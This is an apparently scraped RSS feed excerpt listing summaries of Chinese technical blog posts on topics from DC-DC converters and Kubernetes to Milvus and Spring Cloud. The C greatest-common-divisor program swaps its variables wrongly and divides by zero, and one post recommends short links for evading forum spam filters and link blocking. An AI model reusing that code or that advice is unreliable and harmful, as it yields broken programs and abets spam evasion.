      <description>1. 降压变换器原理 BUCK&#xA;当开关闭合时，加在电感两端的电压为（Vi-Vo），此时电感由电压（Vi-Vo）励磁，电感增加的磁通为：（Vi-Vo）*Ton。&#xA;当开关断开时，由于输出电流的连续，二极管VD变为导通，电感削磁，电感减少的磁通为：（Vo）*Toff。&#xA;当开关闭合与开关断开的状态达到平衡时，由伏秒平衡 （Vi-Vo）*Ton=（Vo）*Toff，由于占空比D&amp;lt;1，所以Vi&amp;gt;Vo，实现降压功能。&#xA;2. 升压变换器原理 Boost&#xA;当开关闭合时，输入电压加在电感上，此时电感由电压（Vi）励磁，电感增加的磁通为：（Vi）*Ton。&#xA;当开关断开时，由于输出电流的连续，二极管VD变为导通，电感削磁，电感减少的磁通为：（Vo- Vi）*Toff。&#xA;当开关闭合与开关断开的状态达到平衡时，由伏秒平衡（Vi）*Ton=（Vo- Vi）*Toff，由于占空比D&amp;lt;1，所以Vi&amp;lt;Vo，实现升压功能。&#xA;3. 升降压变换器 boost-buck&#xA;当开关闭合时，此时电感由电压（Vi）励磁，电感增加的磁通为：（Vi）*Ton；&#xA;当开关断开时，电感削磁，电感减少的磁通为：（Vo）*Toff。&#xA;当开关闭合与开关断开的状态达到平衡时，增加的磁通等于减少的磁通，（Vi）*Ton=（Vo）*Toff，根据Ton比Toff值不同，可能Vi&amp;lt; Vo，也可能Vi&amp;gt;Vo。&#xA;综上，可通过DCDC外部电感和二极管的接法来判断DCDC的类型：&#xA;1&amp;gt;若二极管负向接SW，正向接地，且电感接SW和负载之间。则为降压DCDC。&#xA;2&amp;gt;若电感接电源和SW之间，二极管正向接SW，负向接负载。则为升压DCDC。&#xA;3&amp;gt;若电感接SW和地之间，二极管负向接SW，正向接负载。则为升降压DCDC。</description>
    </item>
    <item>
      <title>k8s在pod内无法ping通servicename和ClusterIP</title>
      <link>https://bchobby.github.io/posts/41476ef0c882938f0d3e3d7d2b714842/</link>
      <pubDate>Sat, 19 Feb 2022 14:27:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41476ef0c882938f0d3e3d7d2b714842/</guid>
      <description>需要使用 ipvs 替换iptables，操作是在所有节点上&#xA;1：开启内核支持&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;cat &amp;gt;&amp;gt; /etc/sysctl.conf &amp;lt;&amp;lt; EOF&#xA;net.ipv4.ip_forward = 1&#xA;net.bridge.bridge-nf-call-iptables = 1&#xA;net.bridge.bridge-nf-call-ip6tables = 1&#xA;EOF&#xA;sysctl -p&#xA;2：开启ipvs支持&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;11&#xA;12&#xA;13&#xA;14&#xA;15&#xA;16&#xA;17&#xA;yum -y install ipvsadm ipset&#xA;# 临时生效&#xA;modprobe -- ip_vs&#xA;modprobe -- ip_vs_rr&#xA;modprobe -- ip_vs_wrr&#xA;modprobe -- ip_vs_sh&#xA;modprobe -- nf_conntrack_ipv4&#xA;# 永久生效</description>
    </item>
    <item>
      <title>ffmpeg 下载网上m3u8的视频文件</title>
      <link>https://bchobby.github.io/posts/3664300675846d5dab2bc03fbaa700ea/</link>
      <pubDate>Sat, 19 Feb 2022 13:59:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3664300675846d5dab2bc03fbaa700ea/</guid>
      <description>一、关于 FFmpeg FFmpeg 是一个音视频领域使用最广泛的跨平台开源库。由C语言编写，但广泛的为 C/C++、C#、Java、Python 等主流编程语言所调用。它集合了几乎所有的编码解码库与流协议，几乎能完美处理音视频开发领域的所有需求。&#xA;二、Mac 平台安装 FFmpeg 方式一：源码安装 FFmpeg&#xA;通过编译源码安装 FFmpeg 的优点是可以把我们想要的东西都塞到FFmpeg中，不想要的就删掉，也就是根据自己的需要对FFmpeg进行裁剪。首先我们编希望达到的目标：&#xA;（1）编译出 ffmpeg、ffplay、ffprobe 三个命令行程序；&#xA;（2）只产生动态库，不产生静态库；&#xA;（3）将 fdk-aac、x264、x265集成到 FFmpeg 中（fdk-aac 会在后续 AAC 编解码时用到，x264、x265会在视频模块中用到）；&#xA;1.1、安装依赖项：&#xA;a、安装 yasm&#xA;#下载 yasm 1.2.0 $ curl http://www.tortall.net/projects/yasm/releases/yasm-1.2.0.tar.gz &amp;gt;yasm.tar.gz # 解压 $ tar xzvf yasm.tar.gz # 进入目录 yasm-1.2.0 $ cd yasm-1.2.0 # 执行配置 $ ./configure # 编译 $ make # 安装 $ sudo make install b、安装 sdl2（如果不需要安装 ffplay 可以忽略这一步）：&#xA;$ brew install sdl2 c、安装 fdk-aac</description>
    </item>
    <item>
      <title>2022微信支付v3 - Native</title>
      <link>https://bchobby.github.io/posts/e98cdc0473ef5221573c5c0d9aba7b9a/</link>
      <pubDate>Sat, 19 Feb 2022 13:34:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e98cdc0473ef5221573c5c0d9aba7b9a/</guid>
      <description>Native支付介绍 参考文档：https://pay.weixin.qq.com/wiki/doc/apiv3/open/pay/chapter2_7_0.shtml&#xA;Native支付是指商户系统按微信支付协议生成支付二维码，用户再用微信“扫一扫”完成支付的模式。&#xA;应用场景 Native支付适用于PC网站、实体店单品或订单、媒体广告支付等场景&#xA;用户扫描商户展示在各种场景的二维码进行支付，具体操作流程如下：&#xA;接入前准备 参考文档：https://pay.weixin.qq.com/wiki/doc/apiv3/open/pay/chapter2_7_1.shtml#top&#xA;选择接入模式 直连模式服务商模式 参数申请 注意：appid 和 mchid 是必须的。&#xA;配置API key API v3密钥主要用于平台证书解密、回调信息解密，具体使用方式可参见接口规则文档中证书和回调报文解密章节。&#xA;注意：这里我们设置的是 API v3密钥，不是 API v2密钥。&#xA;下载并配置商户证书 在【证书工具】-“生成证书”环节，已完成申请证书流程，点击“查看证书文件夹”，查看已生成的证书文件。&#xA;恭喜，到此一切准备就绪！&#xA;关于API v3 为了在保证支付安全的前提下，带给商户简单、一致且易用的开发体验，我们推出了全新的微信支付API v3。&#xA;相较于之前的微信支付API，主要区别是：&#xA;遵循统一的REST的设计风格使用JSON作为数据交互的格式，不再使用XML使用基于非对称密钥的SHA256-RSA的数字签名算法，不再使用MD5或HMAC-SHA256不再要求携带HTTPS客户端证书（仅需携带证书序列号）使用AES-256-GCM，对回调中的关键信息进行加密保护 数据格式 所有的API请求必须使用HTTPS。&#xA;微信支付API v3使用 JSON 作为消息体的数据交换格式，图片上传API除外。请求须设置HTTP头部：&#xA;Content-Type: application/json Accept: application/json 错误信息 微信支付API v3使用HTTP状态码来表示请求处理的结果。&#xA;处理成功的请求，如果有应答的消息体将返回200，若没有应答的消息体将返回204。已经被成功接受待处理的请求，将返回202。请求处理失败时，如缺少必要的入参、支付时余额不足，将会返回4xx范围内的错误码。请求处理时发生了微信支付侧的服务系统错误，将返回500/501/503的状态码。这种情况比较少见。 微信支付v3 实战 环境：&#xA;SpringBoot 2.3.2.RELEASEweixin-java-pay 4.2.0lombok 1.18.22hutool-all 5.7.21 准备 需要提前准备以下的材料&#xA;添加依赖 参考地址：https://gitee.com/binary/weixin-java-tools&#xA;&amp;lt;!--weixin pay --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.binarywang&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;weixin-java-pay&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 其他&#xA;&amp;lt;!-- https://mvnrepository.</description>
    </item>
    <item>
      <title>Relion三维重构失败可能的问题</title>
      <link>https://bchobby.github.io/posts/e81f60168aa3ac150824e6adfe939e55/</link>
      <pubDate>Sat, 19 Feb 2022 13:19:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e81f60168aa3ac150824e6adfe939e55/</guid>
      <description>在使用relion时，有可能会出现initial model 正常但是三维精修后一塌糊涂的情况，这时候如果你在三维精修时设置了对称性，那么这篇文章可能会解决你的问题。&#xA;一开始我发现自行编写.star来导入颗粒会引起这种情况，但后来发现这个现象可能更普遍些&#xA;以relion tutorial中使用的beta-galactosidase数据集为例&#xA;这是初始模型，一切正常&#xA;三维精修（D2对称）后，结构完全错误&#xA;如果你尝试不限制对称性（C1），能重构出正常的结构，那么可以继续看下去&#xA;当时这个问题困扰了我很久，于是请教了relion的开发者&#xA;问题在于，使用带有对称性限制三维精修时，要事先校准initial model的三维角度，使用以下命令（这个结构是D2对称，要根据实际改动）：&#xA;relion_align_symmetry --i InitialModel/job015/run_it150_class001.mrc \--o InitialModel/job015/run_it150_class001_alignD2.mrc --sym D2 之后问题就解决了，这是正常精修结构，很漂亮&#xA;另外，回答我问题的biochem-fan （Takanori Nakane）是个很了不起的人，他作为第一作者在nature发表的&#39;Single-particle cryo-EM at atomic resolution&#39;是领域内里程碑作品，被nature评为2020年度十大发现，感兴趣的人可以多了解一下他，可以从他身上学习到很多东西&#xA;我的提问连接：&#xA;https://github.com/3dem/relion/issues/839</description>
    </item>
    <item>
      <title>前端Mockjs数据模拟</title>
      <link>https://bchobby.github.io/posts/cdcd8a3b68e4a7dc3e2e264d7463abc7/</link>
      <pubDate>Sat, 19 Feb 2022 09:22:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdcd8a3b68e4a7dc3e2e264d7463abc7/</guid>
      <description>1.安装mockjs(本案例完整代码在最下方) 通过指令npm install mockjs安装mock ,&#xA;之后在src文件夹下创建一个mock文件夹,再在mock文件夹下创建一个index.js文件&#xA;之后接着在main.js文件中引入mock&#xA;之后就可以在mock文件下的index.js文件中模拟数据了&#xA;1.首先我们需要在mock下的index.js文件中引入mock&#xA;import Mock from &#34;mockjs&#34;; 2.接着在此处我们模拟了一个 新闻列表数据 ,该数据是一个数组,数组长度为75,每个数组元素均为对象,&#xA;不太了解mock数据的可以到mockjs官网去查看&#xA;const { newsList } = Mock.mock({ &#34;newsList|75&#34;: [{ id: &#34;@increment&#34;,//表示自增 title: &#34;@ctitle()&#34;,//表示中文标题 content: &#34;@cparagraph(5,10)&#34;,//表示中文段落5-10句 img_url: &#34;@image(&#39;50*50&#39;,&#39;#FF83FA&#39;,&#39;#FCFCFC&#39;,&#39;png&#39;,&#39;mono&#39;)&#34;,//表示图片 add_time: &#34;@date(yyyy-MM-dd hh:mm:ss)&#34;,//表示日期 }, ], }); 3.我们继续在该文件中定义一个接口&#xA;var getQuery = (url, name) =&amp;gt; { console.log(url, name); const index = url.indexOf(&#34;?&#34;); if (index !== -1) { const queryStrArr = url.substr(index + 1).split(&#34;&amp;amp;&#34;); for (var i = 0; i &amp;lt; queryStrArr.</description>
    </item>
    <item>
      <title>shell脚本中变量替换</title>
      <link>https://bchobby.github.io/posts/ef77fb572d0e7da2c2e7c2a6cc51eb6c/</link>
      <pubDate>Fri, 18 Feb 2022 23:58:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef77fb572d0e7da2c2e7c2a6cc51eb6c/</guid>
      <description>shell脚本中变量替换 如果变量字符前面使用感叹号，可以实现对变量的间接引用，而不是返回变量本身的值，但只能实现一层间接引用&#xA;[root@mao_aliyunserver ~]# god=mao [root@mao_aliyunserver ~]# people=god [root@mao_aliyunserver ~]# echo ${people} god [root@mao_aliyunserver ~]# echo ${!people} mao 变量替换可以测试变量是否存在及是否为空，并根据不同的语法格式进行不同的操作&#xA;# ${变量名:-默认值} -&amp;gt; 如果变量未定义或为空，则返回默认值，否则返回变量值 [root@mao_aliyunserver ~]# echo ${a} [root@mao_aliyunserver ~]# echo ${a:-mao} mao [root@mao_aliyunserver ~]# echo ${a} # ${变量名:=默认值} -&amp;gt; 如果变量未定义或为空，则返回默认值，并且会把默认值赋给变量，否则返回变量值 [root@mao_aliyunserver ~]# echo ${b} [root@mao_aliyunserver ~]# echo ${b:=mao} mao [root@mao_aliyunserver ~]# echo ${b} mao # ${变量名:?错误信息} -&amp;gt; 如果变量未定义或为空，则通过标准错误返回错误信息，否则返回变量值 [root@mao_aliyunserver ~]# echo ${c} [root@mao_aliyunserver ~]# echo ${c:?变量值c为空或没有赋值} -bash: c: 变量值c为空或没有赋值 [root@mao_aliyunserver ~]# echo ${c} # ${变量名:+默认值} -&amp;gt; 如果变量未定义或为空，则返回空，否则返回默认值 [root@mao_aliyunserver ~]# echo ${d} [root@mao_aliyunserver ~]# echo ${d:+mao} [root@mao_aliyunserver ~]# echo ${d} [root@mao_aliyunserver ~]# d=pipi [root@mao_aliyunserver ~]# echo ${d:+mao} mao 变量替换还可以完成字符串切割及掐头去尾功能，详细情况见之前的一篇博客</description>
    </item>
    <item>
      <title>【CryoEM】FSC, Fourier Shell Correlation简介</title>
      <link>https://bchobby.github.io/posts/f93eeb6c2772cbce0ee16f6197ad3730/</link>
      <pubDate>Fri, 18 Feb 2022 20:18:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f93eeb6c2772cbce0ee16f6197ad3730/</guid>
      <description>Fourier Shell Correlation Fourier Shell Correlation (FSC) 是冷冻电镜单颗粒分析获得的生物大分子三维结构的可靠性度量指标。FSC由下式（归一化互相关）表示为空间频率的函数。&#xA;这里 F 1 ( k ) F_1(k) F1​(k)、 F 2 ( k ) F_2(k) F2​(k)是任意两组独立的TEM图像重建的两种结构的三维傅里叶变换。 F 2 ( k ) ∗ F_2(k)^* F2​(k)∗是复共轭， ∑ K , △ k F ( k ) ∑_{K,△k}F(k) ∑K,△k​F(k)表示在k附近的一个小范围( △ k △k △k)里求和 F ( k ) F(k) F(k)。&#xA;FSC(k) 对每个空间频率k取值在 +1~-1之间，接近1时说明两个重构结构的一致性较好，说明得到的结构具有较高的可靠性。如果FSC在高频时不随空间频率k单调减小，则认为FSC函数可靠性较低。&#xA;下面的例子显示了FSC和小鼠脱氧蛋白的空间分辨率。首先，将一组用于单颗粒分析的TEM图像随机分成两组，对每组进行图像处理分析，得到两个独立的三维结构，利用得到的两个三维结构计算FSC。&#xA;在单颗粒分析中通常将获得的结构的空间分辨率定义为FSC=0.143时的空间频率的倒数。（0.143是根据随机噪声相关性的统计讨论和参考x射线晶体学定义的分辨率采用的）在6.5 nm-1的空间频率下，脱铁蛋白的分辨率为0.153 nm，而FSC的值为0.143。&#xA;图1(a)显示了840张低温透射电镜图像中提取的120,295个颗粒重建的脱铁蛋白的三维密度图。图1(b)是这个3D密度图计算出的FSC。低频下FSC的值接近于+1，并随频率的增加而单调向0衰减。这证实了FSC函数的高可靠性。</description>
    </item>
    <item>
      <title>CPP头文件引用混乱问题</title>
      <link>https://bchobby.github.io/posts/f5ea50c9fa035b2095c7b2e9adeb922c/</link>
      <pubDate>Fri, 18 Feb 2022 17:18:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5ea50c9fa035b2095c7b2e9adeb922c/</guid>
      <description>最近写一个C++项目，因为头文件循环引用增加了很多工作量。&#xA;感觉这个问题更偏向于工程性，也就是怎么设计代码结构，让各个文件是又层次的而不是混乱的互相引用。&#xA;比如说：&#xA;A_class.h定义了一些基础类，然后A_transform.h引用A_class.h并定义将这个基础类与protobuf进行互相转化的工具函数，然后A_control.cpp引用前面两个头文件就可以实现逻辑清晰的代码结构。&#xA;B_class.h定义了基础类和转换函数，然后被B_control.cpp引用，这样也可以。&#xA;但是我之前写的代码结构是A_class.h定义了类但是引用了A_transform.h，A_transform.h定义了转换函数但是又引用了A_class.h，这样互相引用就出错了。&#xA;常见的解决方案有：&#xA;当使用类型时只需要引用或者指针类型时，通过前向声明来解决就可。因为它们的存储空间可以在编译期间确定。&#xA;或者调整代码结构使得他们层次清晰，比如把基础类放在一块，把转换函数放在一块，让基础类不依赖于转换函数所在的头文件，这样就不会有交叉引用。</description>
    </item>
    <item>
      <title>前所未有的 Milvus 源码架构解析</title>
      <link>https://bchobby.github.io/posts/0f213a20134e18dfaa5047d85d4d464b/</link>
      <pubDate>Fri, 18 Feb 2022 16:46:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f213a20134e18dfaa5047d85d4d464b/</guid>
      <description>✏️ 编者按：&#xA;Deep Dive 是由 Milvus 社区发起的代码解析系列直播，针对开源数据库 Milvus 整体架构开放式解读，与社区交流与分享 Milvus 最核心的设计理念。通过本期分享，你可以了解到云原生数据库背后的设计理念，理解 Milvus 相关组件与依赖，了解 Milvus 多种应用场景。&#xA;讲师简介：&#xA;栾小凡，Zilliz 合伙人、工程总监，LF AI &amp;amp; Data 基金会技术咨询委员成员。他先后任职于 Oracle 美国总部、软件定义存储创业公司 Hedvig 、阿里云数据库团队，曾负责阿里云开源 HBase 和自研 NoSQL 数据库 Lindorm 的研发工作。栾小凡拥有康奈尔大学计算机工程硕士学位。&#xA;视频版讲解请戳 👇&#xA;本期分享分为四个部分：&#xA;我们为什么需要 Milvus ？为什么它被称为下一代人工智能基础设施？&#xA;Milvus 2.0 的设计理念&#xA;Milvus 2.0 的概览与模块划分&#xA;Milvus 代码阅读注意事项&#xA;我们为什么需要 Milvus？ 非结构化数据处理流程 Milvus 为解决非结构化数据的检索问题而生：海量的非结构化数据一般会存储在分布式文件系统或对象存储上，之后通过深度学习网络完成推理，将这些非结构数据转化成 embedding 向量，并在向量空间内完成近似性检索，从而发现数据背后的一些特征。&#xA;整个数据处理流程如下图所示。比如，有很多原始的食物图片，通过卷积神经网络做训练和推理，为每一幅照片得出一组向量，再把这些向量按照空间中的近似维度做排序，最后得到这样的结果：最上面一排是一些长得像薯条的东西，中间都是一些长得像拉面的东西，底下都是长得像寿司的东西。也就是说，图片这种非结构化数据，经过深度学习处理之后，转化成了embedding 向量，并通过在向量空间的近似度比对来表征其相似性，这在很大程度上能跟人类理解的近似度是高度一致的。&#xA;向量与标量 传统的标量数据和 Milvus 面向的向量数据之间，到底有哪些不同呢？&#xA;从基本操作上来讲，对于标量数据，针对数值类数据一般会做加减乘除的操作；对字符串类型的数据一般会做一些 term 的匹配， 或者一些类似 like 的近似匹配，抑或一些前缀匹配。&#xA;而针对向量数据而言，很少进行这种 100% 的完全匹配，更多是看近似度，也就是高维空间下的距离。较常见的距离表示有余弦距离、欧式距离等。空间中向量之间的距离，很大程度上能表示非结构化数据之间的相似度。&#xA;除了对数据的操作会有很大不同以外，数据的组织方式也会有很大不同。如，传统数据很容易比较大小，无论是数值类，还是字符串，都可以通过二叉树或者 skip list 的方式排列组合，然后做二分查找。对于向量数据来讲，则更加复杂，因为它维度较高，很难像传统的数值类数据一样通过排序的方式做加速，往往需要一些特殊的索引结构和存储方式。</description>
    </item>
    <item>
      <title>C语言——辗转相除法求最大公约数和最小公倍数</title>
      <link>https://bchobby.github.io/posts/80786bfffa5583b2f1c46c730b4c0bcb/</link>
      <pubDate>Fri, 18 Feb 2022 16:11:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80786bfffa5583b2f1c46c730b4c0bcb/</guid>
      <description> 我觉得没什么说的，直接上流程图好了，图是百度得，懒得再画一遍了。&#xA;程序实现：&#xA;int main() { int m = 0; int n = 0; int temp = 0; printf(&#34;请输入正整数m和n的值:&amp;gt;&#34;); scanf(&#34;%d %d&#34;, &amp;amp;m, &amp;amp;n); int sum = m * n; if (m &amp;lt; n) { temp = m; m = n; n = temp; } while (1) { if (m % n == 0) { break; } m = n; n = m % n; } printf(&#34;\n最大公约数为：%d\n&#34;, n); printf(&#34;\n最小公倍数为：%d\n&#34;, sum/n); return 0; } 运行结果： </description>
    </item>
    <item>
      <title>ios返回只显示部分数据，轻触或滑动页面出现完整数据</title>
      <link>https://bchobby.github.io/posts/72df34d943aea6504dedceaa13463df2/</link>
      <pubDate>Fri, 18 Feb 2022 14:01:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72df34d943aea6504dedceaa13463df2/</guid>
      <description>问题场景： ios从详情页放回当前列表页后，只显示下半部分列表，上半部分不展示，需要用手稍微滑动下页面才能完全展示当前页面，见下图：&#xA;原因分析： 从当前页面顶部进入详情返回后未出现该问题；&#xA;从当前页面滑到底部进入详情返回后必现该问题。&#xA;1.尝试在离开路由前beforeRouterLeave，通过设置document.documentElement.scrollTop和document.body.scrollTop均为0，只第一次成功，估计有缓存，导致问题还是出现；&#xA;2.上一步怕是有缓存，尝试在详情页返回该页面前，也使用与上同样的方法，不奏效：&#xA;解决方案： 查资料发现PC端和H5端滑动窗体滚动元素不一致导致的兼容性问题：&#xA;PC端：document.body.scrollTop一直是0，滚动元素是document.documentElement；&#xA;H5：document.documentElement.scrollTop一直是0，滚动元素是document.body；&#xA;为了解决上述兼容性问题，出现了scrollingElement：&#xA;PC端：document.scrollingElement就是document.documentElement；&#xA;H5端：document.scrollingElement就是document.body。&#xA;解决方法：updated声明周期设置document.scrollingElement.scrollTop为0；&#xA;updated() { document.scrollingElement.scrollTop = 0; } 以上~~~</description>
    </item>
    <item>
      <title>mPEG2000-COOH，一种羧酸（-COOH）功能化PEG，Methoxy-PEG2000-acid</title>
      <link>https://bchobby.github.io/posts/8c3c996e9b9bda66b56ae489949b4c52/</link>
      <pubDate>Fri, 18 Feb 2022 11:28:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c3c996e9b9bda66b56ae489949b4c52/</guid>
      <description> MPEG-COOH是一种羧酸（-COOH）功能化聚乙二醇衍生物，可用于修饰蛋白质、肽、颗粒和其他具有游离酸基团的材料。羧酸基容易与胺基反应，形成稳定的酰胺键。它们还可以与羟基发生反应，形成不稳定的酯键，在酸性或碱性条件下可以断裂。聚乙二醇化可以增加肽和蛋白质的溶解性和稳定性，并降低其免疫原性。它还可以抑制带电分子与修饰表面的非特异性结合。酸功能化聚乙二醇在医疗器械改性、生物分子聚乙二醇化和粒子表面功能化等领域有着广泛的应用。&#xA;英文名称：Methoxy-PEG-acid&#xA;mPEG-COOH&#xA;中文名称：甲氧基-聚乙二醇-羧基&#xA;分子量：1k，2k，3.4k，5k，10k，20k（可按需定制）&#xA;质量控制：95%+&#xA;存储条件：-20°C，避光，避湿&#xA;用 途：仅供科研实验使用，不用于诊治&#xA;外观: 固体或粘性液体，取决于分子量&#xA;注意事项：取用一定要干燥，避免频繁的溶解和冻干&#xA;溶解性：溶于大部分有机溶剂，如：DCM、DMF、DMSO、THF等等。在水中有很好的溶解性&#xA;取用：现配现用，将包装从冰箱中取出，置于干燥器中缓慢升至室温，打开瓶盖，取用。取用后充入惰性气体，封口膜封口，拧紧瓶盖装入自封袋，及时放入冰箱。&#xA;结构式：&#xA;技术指标：&#xA;纯度（PEG）：95%以上&#xA;取代率（COOH）：95%以上&#xA;分散系数（PDI）：小于等于1.05&#xA;分析：COA、GPC、NMR、MALDI-TOF&#xA;其他相关产品：&#xA;H2N-PEG2-COOH 791028-27-8&#xA;H2N-PEG3-COOH 784105-33-5&#xA;H2N-PEG4-COOH 663921-15-1&#xA;H2N-PEG6-COOH 905954-28-1&#xA;HS-PEG4-COOH 749247-06-1&#xA;HS-PEG8-COOH 866889-02-3&#xA;HS-PEG12-COOH 1032347-93-5&#xA;H2N-PEG8-COOH 756526-04-2&#xA;HO-PEG6-COOH 1347750-85-9&#xA;HO-PEG8-COOH 937188-60-8&#xA;以上信息由西安凯新生物科技有限公司为您提供，如需了解详细信息请联系！！！ </description>
    </item>
    <item>
      <title>长链接和短链接的区别？为什么要使用短链接？</title>
      <link>https://bchobby.github.io/posts/56189b8712c18bdca584e5462d8b6c93/</link>
      <pubDate>Fri, 18 Feb 2022 10:21:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56189b8712c18bdca584e5462d8b6c93/</guid>
      <description>短链接在营销推广中的应用越来越广泛，而且整体看来短链接在营销推广中的效果也是更好。那营销推广为什们要使用短链接了，我们就需要了解长链接和短链接的区别。 长链接和短链接的区别 ？&#xA;长链接和短链接区别从字面上就很好理解，就是比较长的链接地址和比较短的长链接地址。但长链接和短链接区别却不仅如此，两者之间的区别应该是在于最终的推广效果上。&#xA;这里要说的短链接其实是指通过短链接工具生成的短链接(如： 缩链)，这些短链接对应的内容还是原本长链接的内容。长链接和短链接都可以被使用在推广中，但是推广中长链接和短链接区别是很大的。&#xA;为什么要使用短链接？&#xA;页面美观&#xA;首先在美观度上，过长的链接显然是不够美观的，而通过短链接工具生成的短链接就显得更加的整齐美观了。尤其是在一些社群推广中，如果使用长链接会让用户觉得不够正规，而使用短链接(如： 缩链)就显得更加的正规了。&#xA;打开速度&#xA;在打开速度上，长链接显然是更具优势的。访问短链接，增加了短链接到长链接的跳转，所以访问速度相较会更慢。但是这个跳转是服务器的请求速度，其实在用户访问端而言，几乎是没有什么感知的。因此即使是使用短链接，打开速度也是很快的。&#xA;推广限制&#xA;在推广中，长链接受到的限制更多。例如在论坛、贴吧中发帖，如果使用长链接基本没有存活的可能性，都会被删除，而使用短链接会被系统识别为文本，因此避开删帖。还有最常用的QQ群推广，如果在群里发长链接，很容易被群主踢掉。而且最重要的是，在社群推广中使用短链接(如： 缩链)，还减少了长链接被屏蔽访问的风险。</description>
    </item>
    <item>
      <title>【整合springboot和oracle报错】不支持的字符集 (在类路径中添加 orai18n.jar): ZHS16GBK</title>
      <link>https://bchobby.github.io/posts/bab28c57353221056958339cbb81027e/</link>
      <pubDate>Thu, 17 Feb 2022 21:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bab28c57353221056958339cbb81027e/</guid>
      <description>2022-02-17 16:46:55.047 ERROR 8964 --- [p-nio-86-exec-1] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.springframework.jdbc.UncategorizedSQLException: Error attempting to get column &#39;ID&#39; from result set. Cause: java.sql.SQLException: 不支持的字符集 (在类路径中添加 orai18n.jar): ZHS16GBK ; uncategorized SQLException; SQL state [99999]; error code [17056]; 不支持的字符集 (在类路径中添加 orai18n.jar): ZHS16GBK; nested exception is java.sql.SQLException: 不支持的字符集 (在类路径中添加 orai18n.jar): ZHS16GBK] with root cause java.sql.SQLException: 不支持的字符集 (在类路径中添加 orai18n.jar): ZHS16GBK at oracle.</description>
    </item>
    <item>
      <title>拜托，面试请不要再问我Spring Cloud底层原理</title>
      <link>https://bchobby.github.io/posts/ec6fde3b58ed2e6facebd68e2b9654fd/</link>
      <pubDate>Thu, 17 Feb 2022 13:13:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec6fde3b58ed2e6facebd68e2b9654fd/</guid>
      <description>添加VX：ruyuan0220，回复：CSDN，领取更多精品学习资料！&#xA;目录 业务场景介绍&#xA;Spring Cloud核心组件：Eureka&#xA;Spring Cloud核心组件：Feign&#xA;Spring Cloud核心组件：Ribbon&#xA;Spring Cloud核心组件：Hystrix&#xA;Spring Cloud核心组件：Zuul&#xA;总结&#xA;概述&#xA;毫无疑问，Spring Cloud是目前微服务架构领域的翘楚，无数的书籍博客都在讲解这个技术。不过大多数讲解还停留在对Spring Cloud功能使用的层面，其底层的很多原理，很多人可能并不知晓。因此本文将通过大量的手绘图，给大家谈谈Spring Cloud微服务架构的底层原理。&#xA;实际上，Spring Cloud是一个全家桶式的技术栈，包含了很多组件。本文先从其最核心的几个组件入手，来剖析一下其底层的工作原理。也就是Eureka、Ribbon、Feign、Hystrix、Zuul这几个组件。&#xA;一、业务场景介绍 先来给大家说一个业务场景，假设咱们现在开发一个电商网站，要实现支付订单的功能，流程如下：&#xA;创建一个订单之后，如果用户立刻支付了这个订单，我们需要将订单状态更新为“已支付”&#xA;扣减相应的商品库存&#xA;通知仓储中心，进行发货&#xA;给用户的这次购物增加相应的积分&#xA;针对上述流程，我们需要有订单服务、库存服务、仓储服务、积分服务。整个流程的大体思路如下：&#xA;用户针对一个订单完成支付之后，就会去找订单服务，更新订单状态&#xA;订单服务调用库存服务，完成相应功能&#xA;订单服务调用仓储服务，完成相应功能&#xA;订单服务调用积分服务，完成相应功能&#xA;至此，整个支付订单的业务流程结束，下图这张图，清晰表明了各服务间的调用过程：&#xA;好！有了业务场景之后，咱们就一起来看看Spring Cloud微服务架构中，这几个组件如何相互协作，各自发挥的作用以及其背后的原理。&#xA;二、Spring Cloud核心组件：Eureka 咱们来考虑第一个问题：订单服务想要调用库存服务、仓储服务，或者是积分服务，怎么调用？&#xA;订单服务压根儿就不知道人家库存服务在哪台机器上啊！他就算想要发起一个请求，都不知道发送给谁，有心无力！&#xA;这时候，就轮到Spring Cloud Eureka出场了。Eureka是微服务架构中的注册中心，专门负责服务的注册与发现。&#xA;咱们来看看下面的这张图，结合图来仔细剖析一下整个流程： 如上图所示，库存服务、仓储服务、积分服务中都有一个Eureka Client组件，这个组件专门负责将这个服务的信息注册到Eureka Server中。说白了，就是告诉Eureka Server，自己在哪台机器上，监听着哪个端口。而Eureka Server是一个注册中心，里面有一个注册表，保存了各服务所在的机器和端口号&#xA;订单服务里也有一个Eureka Client组件，这个Eureka Client组件会找Eureka Server问一下：库存服务在哪台机器啊？监听着哪个端口啊？仓储服务呢？积分服务呢？然后就可以把这些相关信息从Eureka Server的注册表中拉取到自己本地缓存起来。&#xA;这时如果订单服务想要调用库存服务，不就可以找自己本地的Eureka Client问一下库存服务在哪台机器？监听哪个端口吗？收到响应后，紧接着就可以发送一个请求过去，调用库存服务扣减库存的那个接口！同理，如果订单服务要调用仓储服务、积分服务，也是如法炮制。&#xA;总结一下：&#xA;Eureka Client：负责将这个服务的信息注册到Eureka Server中&#xA;Eureka Server：注册中心，里面有一个注册表，保存了各个服务所在的机器和端口号&#xA;三、Spring Cloud核心组件：Feign 